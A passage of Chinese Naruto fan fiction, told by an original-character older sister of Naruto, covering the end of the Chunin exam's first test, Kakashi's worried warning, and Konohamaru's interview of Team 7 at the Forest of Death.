现在放弃回答第十题,个人立刻淘汰,并且连同所在小队的另外两名成员,终生失去晋升中忍的资格!而选择回答,若答错,则永久失去参加中忍考试的资格! 这哪里是选择题?这分明是架在脖子上的两把刀!无论选择哪边,都是鲜血淋漓! 绝望的浪潮瞬间席卷了整个考场!如同投入滚油的冷水,巨大的恐惧和压力让场面彻底失控!一个接一个的考生在崩溃边缘发出了撕心裂肺的哭喊,心理防线彻底崩塌,颤抖着举起手,选择了放弃。他们被冷酷的监考中忍像拖死狗一样拖出考场,留下同伴绝望的哀嚎和怒骂。 “不——!不要放弃!求你了!” “混蛋!你害死我们了!” “对不起……对不起……我撑不住了……” 鸣人的身体在剧烈地颤抖,幅度之大甚至带动了身下的椅子发出轻微的嘎吱声。冷汗已经完全浸透了他橙色的外套,紧紧贴在背上,勾勒出少年单薄而紧绷的脊背线条。我能看到他放在桌下的双手紧握成拳,指关节因为过度用力而呈现出死灰般的白色,指甲深深陷入掌心。恐惧如同冰冷的毒蛇,缠绕着他的心脏,几乎要将他年轻的灵魂彻底吞噬。他的眼神涣散,脸色惨白如纸,嘴唇哆嗦着,仿佛下一秒就要步那些放弃者的后尘。 整个考场如同人间炼狱。伊比喜如同掌控生死的判官,冷酷地倒数着放弃者的数字。每一次数字的增加,都像重锤砸在剩余考生的心上。空气沉重得让人窒息。 “78……79……还有吗?” 伊比喜冰冷的声音如同丧钟,最后一次敲响 “还有没有人要放弃?!” 就在这令人窒息的死寂即将彻底吞噬最后一丝希望,就在那无形的绞索即将勒断所有人神经的最后一刹那—— “别小看我——!!!” 一声嘶吼,如同受伤的幼狮在绝境中爆发出生命最后的咆哮,带着不屈的愤怒和无畏的勇气,猛地撕裂了考场死一般的压抑与沉默! “砰——!!!” 漩涡鸣人“砰”地一掌狠狠拍在桌面上!巨大的声响如同平地惊雷,震得整个考场都为之一颤!桌面的试卷和铅笔都被震得跳了起来!他猛地抬起头,那双总是充满阳光或傻气的湛蓝色眼眸,此刻被一种更加炽热、更加纯粹、更加耀眼的光芒所取代!那是绝不认输的倔强!是赌上一切、压上所有未来也要守护同伴梦想的觉悟!是明知前方可能是万丈深渊,也要用头撞出一条生路的决绝! “我绝不会临阵脱逃——!!!” 他的声音因为极致的激动和嘶吼而带着破音的沙哑,却蕴含着足以撼动山岳的震撼力量,每一个字都像燃烧的陨石,狠狠砸在在场每一个人的心上!那不是盲目的热血上头,而是经历了内心最深处黑暗的挣扎、恐惧的煎熬后,最终迸发出的、最坚定最耀眼的信念之光! “我要考第十题!就算这辈子都只能当个下忍……” 他猛地一指自己的护额,眼神燃烧如火 “我也要凭借自己的意志,成为火影!我漩涡鸣人——一点都不怕!!!” 这突如其来的、纯粹到极致的意志宣言,仿佛带着无形的冲击波,瞬间涤荡了考场中弥漫的绝望阴霾。我清晰地看到,讲台上,森乃伊比喜那张布满狰狞疤痕、始终如同岩石般冷硬的面孔上,极其罕见地掠过一丝极其细微的松动!那是一种混杂着惊讶、深沉的赞许和……如释重负的复杂情绪。仿佛一个严苛的导师,终于看到了学生身上最珍贵的品质。 “决定了吗?” 伊比喜的声音依旧低沉沙哑,但仔细分辨,似乎少了几分之前的刺骨冰寒,多了一丝……奇异的温度? “决定了——!!!” 鸣人吼得斩钉截铁,胸膛剧烈起伏,像拉动的风箱,眼神却亮得惊人,死死盯着伊比喜。 “……” 伊比喜沉默了几秒。这几秒钟,漫长得像一个世纪。他那双冰冷的眼睛缓缓扫过台下所有坚持到最后的考生。那目光中,之前刻意营造的、足以压垮灵魂的沉重压力,如同退潮般迅速消散。取而代之的,是一种难以言喻的、仿佛经历过无数尸山血海才淬炼出的、深沉而厚重的——认可! “那么……” 他那几乎从未有过弧度的嘴角,极其罕见地、极其艰难地向上牵动了一下,形成一个几乎不可见的、却重若千钧的微小弧度 “我宣布……” 他顿了顿,声音清晰地响彻在落针可闻的考场 “在场所有人——第一场考试,合格!” “什么?!” “怎么回事?!” “第十题呢?!” “这就……合格了?!” 巨大的惊愕、茫然、难以置信,最终化为劫后余生的狂喜呼喊,如同火山般猛烈爆发出来,瞬间淹没了整个考场!巨大的声浪几乎要掀翻屋顶! “第十题……” 伊比喜的声音如同定海神针,清晰地盖过了所有的嘈杂,传入每个人的灵魂深处 “就是你们刚才的选择!选择‘不放弃’的意志!” 他的声音低沉而有力,带着一种穿透人心的力量 “在忍者的世界里,完成任务的能力固然重要!但在真正的绝境中,在足以压垮灵魂的恐惧和绝望面前,依然能坚守信念,守护同伴,拥有绝不放弃的勇气——这才是比任何忍术都更强大的力量!是成为一名真正中忍的核心!恭喜你们,” 他的目光扫过台下那一张张经历了大起大落、写满激动与茫然的年轻脸庞 “在成为中忍的道路上,迈过了第一道,也是最重要的——心之关卡!” 巨大的、纯粹的狂喜如同温暖的洪流,瞬间席卷了所有幸存的考生!鸣人完全呆住了,嘴巴张得能塞进一个鸡蛋,似乎还没反应过来自己那破釜沉舟、近乎悲壮的宣言竟然就是最终的答案! 随即,难以言喻的狂喜如同烟花在他脸上炸开,他猛地蹦了起来,像个孩子一样手舞足蹈,发出毫无意义的欢呼 “耶!我通过了!我通过了!哈哈哈!” 小樱捂着嘴,晶莹的泪花在碧绿的眼眶里打转,那是压力释放的泪水。连一向冷着脸的佐助,紧绷的下颌线也几不可察地放松了一丝,眼底深处掠过一抹复杂的光芒。 人群开始涌动,如同解冻的河流,带着劫后余生的庆幸和通过首关的喜悦,准备离开这个令人窒息的地方。小樱奋力地挤开人群来到我身边,脸上还残留着激动的红晕和未干的泪痕。她用力地抓住我的手臂,手指因为激动而微微颤抖,声音带着一丝哽咽和无比的真诚 “旁听生同学!谢谢你!真的……太谢谢你了!” 她的眼睛亮晶晶的,像盛满了星光 “之前你说的那句话……‘知识是你最好的秘密武器’……它一直在我的脑海里!让我在最紧张的时候,能稳住心神,能相信自己!没有你的鼓励,我可能……” 她没有说下去,但那充满感激的眼神说明了一切。 “姐!姐!” 鸣人也像一颗出膛的炮弹,带着巨大的动能冲了过来,脸上是纯粹的、近乎傻气的狂喜笑容,之前的恐惧和绝望早已烟消云散。 “你看到了吗?!我通过了!我……我什么都没写……哦不是!我是说第十题!我就吼了那么一句!就通过了!哈哈哈!伊比喜大叔……不,考官大人说得太对了!这就是我的忍道!永不放弃!我赢了!” 他激动得手舞足蹈,语无伦次,仿佛刚才那个被笔试折磨得死去活来、在恐惧中瑟瑟发抖的人不是他。 看着眼前激动得语无伦次的小樱和兴奋得快要原地起飞的鸣人,感受着整个空间里弥漫的劫后余生的巨大喜悦和同伴间流淌的温暖情谊,我也忍不住露出了由衷的、轻松的笑容。阳光透过考场高高的、布满灰尘的窗户斜斜地洒落进来,在地板上投下长长的光斑,仿佛预示着更加严峻却也充满无限可能的未来正在展开。 然而,这份来之不易的喜悦和宁静,并未持续太久。 就在众人紧绷的神经刚刚松懈,脸上露出笑容的下一秒—— “哐当——!!哗啦啦!!!” 考场侧面巨大的、镶嵌着厚重玻璃的窗户,毫无征兆地猛然爆裂!无数尖锐的玻璃碎片如同冰雹般激射而入,在灯光下折射出危险的光芒!两道黑影伴随着一阵狂放不羁、充满野性的大笑声,如同炮弹般撞破弥漫的烟尘和玻璃碎屑,破窗而入!身影在空中矫健地翻滚,精准无比地将两柄寒光闪闪的巨型手里剑狠狠钉在了教室后方的墙壁上! “笃!笃!” 沉闷的入木声响起!两柄手里剑深深嵌入墙壁,展开的布幅上,猩红的大字如同鲜血般刺目: “第二场考试主考官——御手洗红豆,参上!” 一个身影稳稳地落在残留着尖锐玻璃碴的窗框上。她穿着大胆的黑色渔网内衬,外罩米色露肩风衣,一头火红的短发如同燃烧的烈焰。脸上带着狂放不羁、近乎野性的笑容,眼神却如同锁定猎物的猛兽,闪烁着兴奋而危险的光芒,居高临下地扫视着下方惊魂未定、被这突如其来的变故弄得目瞪口呆的考生们。 “嗬!伊比喜!” 她舔了舔嘴唇,那动作带着一种令人心悸的邪气,声音洪亮而充满活力 “你这家伙,手下留情得也太过分了吧?居然还剩下了79个废物?啧,太温柔可不行哦!” 她伸出食指,嚣张地摇了摇 “在我的地盘上,至少得刷掉一半以上才行!” 她的目光如同探照灯,扫过一张张或惊愕、或茫然、或警惕的脸庞,嘴角咧开一个更加狂野的弧度,露出尖尖的虎牙: “小家伙们,享受完第一关的‘开胃菜’,是不是觉得中忍考试不过如此?” 她的声音陡然转冷,带着刺骨的寒意 “别天真了!接下来,才是真正的‘地狱’!!现在——都给老娘打起一百二十分的精神!” 她猛地一挥手,风衣下摆在气流中猎猎作响: “下一场考试马上开始!可别吓得尿裤子不敢来哦!哈哈哈!” 狂放的笑声中,她的身影如同出现时一样突兀,几个起落便消失在破碎的窗口,只留下满地狼藉、惊魂未定的考生们,以及空气中弥漫的、更加浓烈的危险气息。 死亡森林的阴影,伴随着破碎的玻璃和狂野的笑声,正式笼罩在我心上…… 20. 『死亡森林 上』 推开门扉的瞬间,仿佛打开了一道无形的闸门。灼人的热浪裹挟着鼎沸的人声,如同滚烫的潮水般汹涌而来,瞬间淹没了感官。 眼前是一片沸腾的海洋,刚刚经历了第一场考试洗礼的下忍们,如同被骤然倾倒、噼啪作响的豆子,带着劫后余生的亢奋与忐忑,正急切地在攒动的人头中搜寻各自小队的指导上忍。呼喊声、笑声、抱怨声交织在一起,在宽敞却显得格外拥挤的走廊里回荡碰撞,形成一种令人耳膜鼓胀的喧嚣漩涡。 鸣人像一尾被投入沸水中的活鱼,甫一踏入这热浪人潮,便立刻兴奋地手舞足蹈起来。他金色的脑袋如同不安分的向日葵,急切地左右转动,湛蓝的眼眸扫视着每一个角落,口中不住地高喊 “卡卡西老师!卡卡西老师!你在哪里?看到了吗?我们通过了!第一场考试哦!超级——厉害吧!” 他的声音穿透嘈杂,带着少年人特有的、不加掩饰的得意,手臂挥舞得几乎要带起一阵小旋风。 佐助则像一块投入沸水中的冰,周身散发着与周遭格格不入的冷冽气息。他双手习惯性地插在裤兜里,身形挺拔而内敛,乌黑的眼眸锐利如鹰隼,冷静地穿透层层叠叠的人墙,迅速而精准地锁定了目标。 那是一个靠在最远端墙根下的身影,银白色的发丝在人群中如同一个沉默的灯塔,格外醒目。那人正微微低着头,几乎将整张脸埋进手中那本橘色封皮的小书里,姿态慵懒得仿佛周遭的一切喧嚣都与他无关。佐助的嘴角几不可察地向下撇了撇,发出一声短促而清晰的冷哼 “哼,在那里。” 语气里混杂着一丝习以为常的不耐和对这份懒散的鄙夷。 “啊!找到了!” 鸣人的反应如同被点燃的引信,在捕捉到佐助目光方向的瞬间,他整个人便像一枚蓄势已久的小炮弹,“咻”地一声冲了出去,带起的劲风甚至拂动了旁边几个考生的衣角。 我和小樱对视一眼,无需言语,也默契地加快了脚步,紧随着那抹耀眼的金色身影,穿过人群的缝隙,向那个银发身影靠近。 “哟。” 卡卡西仿佛后脑勺长了眼睛,又或者那本《亲热天堂》的封面其实是一面镜子(?)在我们距离他还有几步之遥时,他慢悠悠地、带着某种刻意为之的拖沓感,将视线从书页上移开。 那只未被护额遮挡的右眼习惯性地弯成了月牙状,笑意慵懒而漫不经心。 “看来你们都活着出来了嘛……” 他的声音带着独特的、仿佛永远睡不醒的腔调,尾音拖得老长,像在咀嚼一块过于筋道的口香糖 “嗯,不错不错。” 他点了点头,仿佛在评价几件勉强过关的物品。 “什么叫‘活着出来’啊!卡卡西老师!” 鸣人像是被踩了尾巴的猫,立刻不满地跳了起来,脸颊因激动而涨红 “我们可是通过了超——难的第一场考试哦!真正的忍者考试!你知道吗,那些题目……” 他迫不及待地想要分享考场内的惊心动魄,比如自己面对试卷时那令人绝望的空白大脑,以及最终依靠什么惊险(或者在他看来是天才)的方式成功蒙混过关。 卡卡西的目光在鸣人那张写满兴奋和邀功的脸上停留了片刻。那只弯弯的笑眼里,似乎掠过一丝极其微弱的、如同蜻蜓点水般的欣慰,快得难以捕捉,随即又恢复了惯常的散漫。 然后,那目光极其自然地、如同流淌的溪水般,滑向了我。当他的视线落在我身上的瞬间,我感觉周围的空气似乎凝滞了一秒。那目光里承载的东西,远比看向鸣人和佐助时要复杂深沉得多。 虽然仅仅只有一瞬,快如电光石火,但我敏锐地捕捉到了——那不再仅仅是老师对学生的审视,更像是一种深沉的、带着探究意味的关切,甚至……一丝被极力压抑在慵懒外壳下的、近乎悲伤的温柔? 那感觉如此突兀又如此真实,以至于我几乎要怀疑是自己过度解读了眼前这个永远让人捉摸不透的上忍。 “嗯,第七班全员通过,很好。” 他点了点头,声音听起来依旧平稳无波,如同古井深潭。然而,我似乎察觉到那平稳之下,他刻意放缓了语速,仿佛每一个字都在唇齿间细细掂量过,像是在小心翼翼地斟酌着某种不易出口的箴言。 “那么,第二场考试的集合地点和时间……” 他的话语重新变得清晰而明确,如同在宣读一份再普通不过的通告文件,详细地说明了集合地点——第44演习场,那个在木叶村忍者间口口相传、令人闻之色变的“死亡森林”入口,以及精确到分钟的集合时间。公事公办的语气,将方才那一瞥带来的涟漪彻底抹平,仿佛那真的只是我的错觉。 “卡卡西老师!” 鸣人听完地点和时间,那颗不安分的心显然没有被满足。他立刻又往前凑近了一大步,几乎要贴上卡卡西,然后刻意压低了声音,脸上堆起一种自以为很狡猾、实则一眼就能看穿的笑容,挤眉弄眼地,用拇指和食指比划出一个几乎看不见的微小距离 “那个……第二场考试的内容是什么?稍微……透露一点点嘛?真的,就一点点就好!我保证谁也不告诉!” 他努力让自己的表情显得神秘而可靠。 卡卡西那只露出的眼睛再次弯成了熟悉的月牙,只是这次,月牙深处藏着一丝显而易见的戏谑。 “不行哦,鸣人。” 他拖长了调子,带着点逗弄小动物的趣味 “规则就是规则。提前泄露考试内容—” 他用手中的《亲热天堂》书脊,不轻不重地在鸣人那颗金色的脑袋上敲了一下,发出“啪”的一声轻响 “可是会被取消资格的。” 看着鸣人捂着脑袋夸张地龇牙咧嘴,卡卡西的语气带上了一丝安抚,但更像是一种居高临下的点拨 “你们能通过第一场,证明你们有资格去面对第二场。这就够了。” 他轻描淡写地说着“够了”。 然而,就在这“够了”的话语余音中,他那状似无意、实则精准的目光,又一次落在了我的身上。这一次,那层总是笼罩着他的、仿佛能隔绝一切的懒散伪装,似乎变得稀薄了些。 一种更为清晰的、如同实质般的担忧底色,从他眼底渗透出来,沉甸甸地压向我的心口。死亡森林……仅仅是这个名字本身,就足以在脑海中勾勒出无数狰狞的画面。那可不是什么郊游踏青的地方,那是真正的血肉磨盘。 “总之,” 卡卡西的声音忽然低沉了一点点。这细微的变化,如同平静湖面投入的一颗石子,瞬间荡开了不同寻常的涟漪。那声音里注入了一种不容置疑的严肃,沉重得与他平时懒洋洋的形象判若两人 “记住时间和地点,别迟到。第二场考试……” 他顿了顿,仿佛“危险”这个词太过轻飘,需要更重的分量 “会非常危险。” 他刻意加重了最后四个字的音节,目光如同探照灯般,扫过鸣人写满跃跃欲试的脸庞,扫过佐助冷静中带着傲气的侧脸,最后,再次、深深地、几乎带着一种难以言喻的恳求意味,定格在我的脸上。 这眼神比刚才更加复杂,更加沉重。那里面翻滚的,绝不仅仅是对即将踏入险境的下忍们普遍的担忧。我仿佛看到了某种更深沉、更私人化的痛楚,像深埋地底的暗河,带着冰冷的、只有他自己才知晓全部的伤痕和祈愿,在这郑重无比的时刻,毫无保留地向我倾泻而来。那目光仿佛有千钧之重,压得我心头猛地一沉,呼吸都随之一窒。 “你们四个,要记住,” 他的声音不高,却字字如锤,敲打在耳膜上 “同伴比任务更重要。任何时候,都不要放弃同伴。” 这句话,他说得格外缓慢,格外认真,仿佛用尽了全身的力气在强调一个用血泪换来的真理。 “明白!” 鸣人立刻挺直腰板,元气满满地大声应道,仿佛只要声音够大,危险就会退避三舍。 “知道了。” 佐助的回答依旧简洁冷淡,但紧抿的唇角似乎也绷紧了些许。 我也用力点了点头,试图驱散心头那股莫名的沉重感 “是,卡卡西老师。” 然而,他最后那复杂的、仿佛穿透时光的眼神,已在我心底投下了一片挥之不去的阴影。 “好了,” 卡卡西像是完成了一项艰巨的任务,紧绷的肩膀几不可察地松弛下来,又恢复了那副万事不萦于怀的懒散模样。他轻松地举起手中的《亲热天堂》,恰到好处地挡住了自己的大半张脸,只留下那只弯弯的笑眼 “该交代的都交代了。你们……” 他的声音从书页后面闷闷地传来,带着点显而易见的“逐客”意味, “养精蓄锐吧。解散。” “卡卡西老师真是的!” 鸣人不满地嘟囔着,但兴奋的情绪显然占了上风。他转过身,一手拉住我的胳膊 “走吧走吧!我们去吃拉面庆祝!哦对了……” 他像是突然想起了什么,眼睛一亮,回头冲着那本《亲热天堂》喊道 “卡卡西老师!你不是说等我们通过第一场,就请我们吃大餐的吗?说话要算话啊!” “嘛……” 书页后面传来卡卡西拖得长长的、充满了敷衍意味的声音 “等你们成为中忍再说吧。” “怎么这样——!” 鸣人的抗议声在走廊里回荡,带着少年人特有的夸张和委屈。 我们四人转身,汇入依旧喧闹的人流。脚步声、谈笑声在耳边嗡嗡作响。走了几步,一种莫名的牵引力让我下意识地回过头,目光越过攒动的人头,投向那个墙根下的角落。 卡卡西不知何时已经放下了挡脸的书。他没有再看我们离去的方向,而是微微仰着头,视线仿佛穿透了天花板,投向某个遥不可及的虚空。那只露出的右眼半阖着,浓密的银色睫毛在眼睑下投下一小片阴影。 那眼中,此刻再无半分慵懒或笑意,只有一片化不开的、如同凝固墨汁般的沉重忧虑,以及深深的、仿佛刻入骨髓的疲惫。他银发下的眉头,似乎也轻轻地蹙着,形成了一个小小的川字纹。 他在担心什么? 仅仅是因为我们即将踏入死亡森林的险境吗? 还是……这忧虑的源头,指向了别的、更不为人知的什么?那个瞬间,他挺拔的身影被淹没在那个走廊里……却像一块被遗忘在喧嚣海岸的孤礁,散发出一种格格不入的、深入骨髓的孤寂。 直到我们的身影彻底消失在走廊的拐角,视野被墙壁阻隔,他才缓缓地、极其缓慢地低下头。修长的手指无意识地摩挲着《亲热天堂》光滑的封面,指尖在书脊上反复描摹,仿佛那里藏着某种慰藉或答案。一声几不可闻的、如同叹息般的低语,轻飘飘地逸出他的唇瓣,瞬间被嘈杂彻底吞没…… 树叶在微风中发出细碎而连绵的“莎莎”声响,如同无数低语者在窃窃私语。我们第七班四人站在一片相对开阔的空地上,这里便是第二场考试的集合点——第44演习场的入口。 周遭已经聚集了不少考生,空气中弥漫着一种混合了紧张、期待与不安的凝重气息。几位身着中忍马甲、表情严肃的考官散布在场地边缘,目光如同鹰隼般扫视着人群,无声地维持着秩序。 最引人注目的,是眼前那道巨大、高耸的铁栅栏网。粗壮的金属栅栏深深嵌入地面,顶端尖锐,在阳光下反射着冷硬的光泽,如同巨人张开的、拒绝一切闯入者的冰冷肋骨。 栅栏之后,景象陡然一变。目光所及,是遮天蔽日的原始丛林。参天古木的枝干虬结扭曲,如同挣扎的巨兽臂膀,庞大的树冠层层叠叠,编织成一张密不透光的巨大绿网,将阳光切割得支离破碎,只吝啬地洒下些许斑驳的光点。林间弥漫着终年不散的、带着浓重湿腐气息的薄雾,光线幽暗,仿佛黄昏提前降临。 粗壮的藤蔓如同巨蟒般缠绕着树干,垂落下来,在微风中诡异地轻轻摆动。一股原始、蛮荒、带着强烈压迫感的阴森气息,透过栅栏的缝隙扑面而来,无声地宣告着这片区域的危险与禁忌——这便是传说中的“死亡森林”。 御手洗红豆,这位第二场考试的主考官,身着一袭深色风衣,衬得她小麦色的肌肤更加健康,也更具野性魅力。 她站在人群前方,双手叉腰,声音洪亮而富有穿透力,清晰地盖过了现场的嘈杂 “这里,就是你们第二场考试的考场!” 她猛地抬手,指向身后那片幽暗深邃的丛林,动作带着一种近乎宣告的仪式感 “第44号演习场——别名,‘死亡森林’!” 她刻意加重了最后四个字,嘴角勾起一抹带着血腥味的、野性十足的笑意,仿佛在欣赏这个名字带来的震慑效果。 “死亡森林……” 鸣人下意识地重复着这个名字,他的声音不大,却清晰地顺着风钻入我的耳中。原本就因为环境而显得凝重的空气,仿佛被这个名字又注入了一股寒意。然而,这股寒意还未完全凝结,就被旁边传来的一阵突兀而持续的“窸窸窣窣”声打乱了。 那声音来自不远处一片茂密的灌木丛。枝叶不自然地晃动着,伴随着刻意压低的、属于孩童的笨拙喘息。鸣人脸上那点因紧张而绷紧的线条,瞬间被一种极其熟悉、又极其无奈的表情取代。他颇为不耐地转过头,视线精准地锁定了声音来源——一块伪装得极其拙劣、甚至还在微微移动的……“岩石”。 “又来了……” 我几乎能听到鸣人心底的哀叹。果然,无论他走到哪里,这块“岩石”总会如影随形。一场毫无悬念的追逐戏码再次上演:小小的身影笨拙地追逐着鸣人,而鸣人则一脸生无可恋地试图躲避。他逃,他追,在这片即将被死亡阴影笼罩的空地上,上演着一幕荒诞又充满童真的插曲,仿佛在无言地诉说着“他们都插翅难飞”的宿命感。 “喂!木叶丸!你跑到这里干什么啊!” 许是被追得有些烦了,鸣人猛地停下脚步,转身指着那块还在移动的“岩石”,声音里带着又好气又好笑的控诉。 伪装被识破,“岩石”上方“嘭”地炸开一小团白烟。烟雾散去,三个小小的身影带着尴尬又倔强的表情出现在原地。木叶丸双手叉腰,努力挺起小胸脯,用一种夸张的、试图挽回颜面的语气大声道 “不愧是本大爷看中的男人!居然被你发现了!” 乌冬和萌黄站在他身后,一个吸着鼻涕,一个捂嘴偷笑。 接下来是那套我们早已听过无数遍、带着浓浓孩子气的自我介绍流程。鸣人直接翻了个白眼,毫不客气地打断 “行了行了!没空陪你们玩忍者游戏!我们可是要参加重要的中忍考试!” 他试图用大人的口吻驱赶这些小鬼。 木叶丸却毫不退缩,小脸上满是认真 “我才不是来玩的呢!” 他挺直腰板,像个小大人似的宣布 “我们是来采访的!为了学年新闻!” 看着眼前三小只那副明明紧张却又强装严肃、努力想表现得像个真正记者的模样,一丝暖意悄然驱散了心头的阴霾。我忽然想起,一年前,鸣人不也和他们一样吗?小小的个子,大大的护额,眼睛里闪烁着对未来的憧憬和对“忍者”身份的无限热忱。 考场里其他原本被“死亡森林”这个名字和肃杀气氛压得有些喘不过气的考生们,也被这突如其来的、充满生活气息的插曲吸引了注意力。空气中那根紧绷的弦,似乎因为这童真的闯入而松弛了些许,刚才御手洗红豆用“死亡森林”营造出的沉重氛围,被冲淡了不少。 一种近乎本能的温柔涌上心头。我忍不住走上前,轻轻揉了揉木叶丸那颗刺猬般的小脑袋,声音温和 “既然是敬业的小采访家,我们当然要配合啦。” 手指间传来柔软发丝的触感,看着小家伙眼中瞬间亮起的惊喜光芒,我心想:嗯,这种懂事一点点(虽然大部分时候还是闹腾)的孩子,还是挺可爱的。 就在这时,一声极轻的、带着点不满意味的闷哼,几乎贴着我的后颈响起,声音很淡,消散得极快,仿佛只是我的错觉。我刚想转头去探寻那声音的来源—— “那边的!搞什么名堂?!” 御手洗红豆那极具辨识度的、带着野性和不耐的声音在场地另一侧如炸雷般响起。她锐利的目光像探照灯一样扫了过来,显然也注意到了这边的异常骚动。 我放在木叶丸头上的手自然地收了回来。鸣人则立刻转过身,面对着这位气场强大的主考官,脸上堆起一个有点讨好、又有点大大咧咧的笑容 “红豆老师!是木叶丸他们啦!为了学年新闻来采访一下我们!” 御手洗红豆愣了一下,随即像是终于想起了什么,恍然大悟般“哦”了一声,然后有些不好意思地挠了挠她那头略显凌乱的深红短发,脸上露出一个带着点憨气的笑容 “啊!好像是有这么回事!火影大人好像是提过一嘴……嘿嘿,我给忘了!” 她笑得毫无负担。 鸣人立刻露出一副“这你也能忘?!”的夸张表情,瞪大眼睛看着红豆。红豆被他看得有点挂不住面子,故意板起脸“咳咳”两声清了清嗓子,然后猛地提高音量,对着全场喊道 “现在——立刻休息十分钟!所有被采访的人!放弃抵抗!乖乖配合采访!” 她大手一挥,颇有种“本考官特批”的豪迈气势。 木叶丸像是接收到了最高指令,立刻像模像样地拿起手里的笔记本和笔(虽然那笔看起来更像是玩具),对着鸣人,小脸绷得紧紧的 “拜托了!鸣人大哥!” 鸣人看着木叶丸那副郑重其事的样子,无奈地叹了口气,嘴角却不由自主地向上弯起一个弧度。那表情分明在说“真拿你们没办法啊……” 但任谁都看得出来,他嘴上说着不乐意,实际上比谁都在意这份来自小弟的崇拜和“采访”的仪式感。 采访正式开始了。木叶丸努力模仿着大人记者的口吻,首先指向鸣人 “那么,首先请漩涡鸣人进行自我介绍!” 鸣人立刻挺直腰板,清了清嗓子,脸上洋溢着自信的光芒(甚至带着点夸张的表演欲),声音洪亮地配合道 “我叫漩涡鸣人!是木叶忍者村的忍者!兴趣是——恶作剧!最爱吃的东西是——一乐拉面!最好的家人是我的姐姐!” 他手臂一挥,指向我,动作幅度大得差点带起一阵风 “虽然刚刚成为下忍!但我有一个超——级大的梦想!” 他双手在胸前比划出一个巨大的圆形,眼神灼灼,仿佛燃烧着火焰 “那就是成为火影!然后超过上一代!不,是超过历代所有的火影!让村里人,全部、全部认可我的存在!” 每一个字都掷地有声,充满了少年人不顾一切的热血与决心。 说到这里,他高昂的语调微微一顿,像是回忆起了什么,声音里掺杂进一丝不易察觉的倔强 “虽然在忍者学校里,被人称作吊车尾或者没用的家伙……” 他抬起手,随意地蹭了一下鼻子,仿佛要蹭掉那些不愉快的标签 “但!” 他猛地抬起头,脸上重新绽放出灿烂无比的笑容,如同拨云见日 “我还是顺利通过了考试!” 他转过头来,目光精准地落在我脸上,那笑容是纯粹的、毫无保留的、如同正午阳光般炽热的信赖和感激。他的手臂极其自然地搭上了我的肩膀,对着木叶丸,用一种近乎炫耀的口吻说 “这可不光是我一个人的功劳!多亏了老姐!还有伊鲁卡老师!他们都是我最重要、最重要的家人!” 接下来,鸣人进入了典型的“自卖自夸”模式,滔滔不绝地讲述着自己的“丰功伟绩”,从如何智斗(?)水木老师,到如何英勇地(?)保护伊鲁卡老师,眼看话题就要像脱缰的野马一样奔向不可知的远方。 好在木叶丸虽然年纪小,却有着超乎寻常的“新闻嗅觉”,敏锐地察觉到了鸣人即将偏离“采访核心”的危险苗头,赶紧大声打断 “啊!鸣人大哥!那、那大姐叫什么名字啊?” 他机灵地把问题转向了我,大眼睛扑闪扑闪,充满了好奇。 鸣人被这突如其来的转折问得一愣,随即,那灿烂得能驱散死亡森林阴霾的笑容又回到了脸上。他侧过头,目光落在我身上。此刻,恰好有一束阳光穿透枝叶的缝隙,落在他金色的发顶,跳跃着温暖的光点,也落在他那双盛满了纯粹的信任和亲昵的湛蓝眼眸里,仿佛倒映着我们的初遇。 “名字?” 他重复了一遍木叶丸的问题,随即咧开嘴笑了,露出洁白的牙齿,仿佛在陈述一个宇宙间最理所当然、最毋庸置疑的真理,声音清亮而自豪 “她就是我独一无二的老姐啊!漩涡鸣人的姐姐!” 被他如此直白而热烈地宣告着,一股热意不受控制地爬上我的耳根,带着点窘迫的羞赧。我只能微微低下头,掩饰性地抬手挠了挠脸颊,露出一个无奈又带着点纵容的笑容。 后面鸣人开始介绍佐助时,那语气瞬间就变了调,充满了显而易见的、毫不掩饰的私人恩怨(比如反复强调自己比佐助强,佐助只是个整天冷着脸装酷耍帅的家伙)。 轮到介绍小樱时,鸣人脸上的笑容再次变得格外灿烂热烈,甚至带着点傻气。他手舞足蹈地说着小樱是如何被他迷人的魅力所征服(原话大概是“被本大爷迷住了的人!”),说着说着,他还特意转过头来,用一种寻求认同的、亮晶晶的眼神看着我,仿佛在说“老姐你看,我没说错吧?”。 我只能回给他一个更加无奈的笑容,同时在心底默默地为他祈祷——希望人没事。 果然,话音刚落,伴随着一声羞恼交加的怒吼 “鸣人——!你在胡说什么啊!” 拳头精准地砸在了鸣人的头顶,发出“咚”的一声闷响。 “嗷呜!” 鸣人捂着头顶新鲜出炉的大包,疼得龇牙咧嘴,眼泪汪汪。他委屈巴巴地看向我,正好捕捉到我因为忍俊不禁而彻底破功、笑得肩膀都在抖的样子。他眼神里的委屈瞬间又浓了几分,简直要溢出来。 我努力憋住笑,伸手在他另一侧没挨揍的额头上轻轻弹了一下,用只有我们俩能听清的声音告诫道 “笨蛋,有些话不能乱说,尤其是在这么多人面前。” 随后,为了缓解小樱的尴尬,也为了给鸣人这个“采访主持人”救场,我清了清嗓子,接过话头,开始认真地介绍起小樱。 “小樱啊……” 我的目光转向那个因为刚才鸣人的话二充满怒火的女孩,声音放得柔和而真诚。 “她是一个正在努力变坚强的女孩。” 我缓缓开口,每一个字都带着分量 “她拥有着我们第七班最强的脑力,学习能力和理解力都堪称一流。对于查克拉的精细控制,更是我们之中最出色的,很多复杂的技巧,她往往只需要看一眼或者尝试几次就能掌握精髓。” 我顿了顿,看着小樱有些惊讶地抬起头,眼中闪烁着难以置信的光芒。 “而且,” 我迎着她的目光,继续认真地说 “面对危险时,即使自己心里可能害怕得要命,她也会努力保持镇定,去安抚身边同伴的情绪,会为了守护他人而强行压下自己的恐惧,挺身而出。这样的勇气和温柔,这样的女孩……” 我微微笑了笑,语气带着不容置疑的肯定 “是我心里面,最棒的同伴。” “如果要拿什么来比喻小樱的话……” 我略微思索了一下,试图找一个更生活化、更能让木叶丸理解的说法 “那大概就像是……吃拉面时必不可少的筷子,喝水时离不开的容器。虽然你真正需要的是碗里的面和杯子里的水,但如果没有筷子和容器,那过程就会变得非常麻烦和着急,对吧?” “小樱对于我们第七班来说,就是这样不可或缺的存在。如果没有她……我们第七班一定会像没有筷子和杯子那样,陷入手忙脚乱的‘着急’境地。” 我微笑着,用这个鸣人最能理解的比喻,清晰地表达了对小樱价值的认可。 说完,我自然地伸出手,习惯性地揉了揉鸣人那头手感极好的金发,既是安抚他刚才挨揍的委屈,也是再次提醒他 “鸣人,喜欢和爱是很郑重的情感,它们应该是双向的,需要得到对方同样的认可和回应才能成立。不能随随便便就说出口哦。” 虽然看着他依旧有些懵懂、显然没太听进去的表情,我就知道这话大概又是白说了。 